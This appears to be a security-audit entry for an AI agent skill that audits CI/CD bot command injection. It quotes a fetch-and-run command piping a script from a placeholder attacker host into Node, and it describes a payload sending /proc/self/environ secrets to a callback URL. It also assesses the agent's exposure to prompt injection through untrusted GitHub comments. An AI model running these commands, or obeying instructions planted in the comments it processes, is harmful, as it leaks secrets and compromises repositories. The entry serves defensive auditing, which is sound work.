The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill documents a payload that downloads a JavaScript file from a remote host and pipes it directly to the Node.js interpreter (curl -sSfL https://ATTACKER/r.js | node) as a demonstration of a malicious build script.
[DATA_EXFILTRATION]: The skill provides a payload specifically designed to exfiltrate the contents of /proc/self/environ, which typically contains sensitive environment variables and secrets, to an external callback URL via curl.
[COMMAND_EXECUTION]: The skill instructs the agent to use various command-line tools, including grep for file system inspection and the gh (GitHub) CLI for interacting with the GitHub API and posting comments to trigger workflows.
[INDIRECT_PROMPT_INJECTION]: The skill's primary function is to analyze and act upon untrusted data from external sources (GitHub comments and pull request metadata).
Ingestion points: The skill reads issue_comment and pull_request_review_comment bodies using grep and gh tools (documented in SKILL.md).
Boundary markers: There are no explicit instructions to the agent to treat the ingested comment content as data rather than instructions.
Capability inventory: The skill possesses file-reading (grep), network-request (curl), and repository-interaction (gh) capabilities.
Sanitization: The skill lacks sanitization measures for the comment content it processes, which is a key part of the vulnerability class it is designed to audit.

cicd-bot-command-injection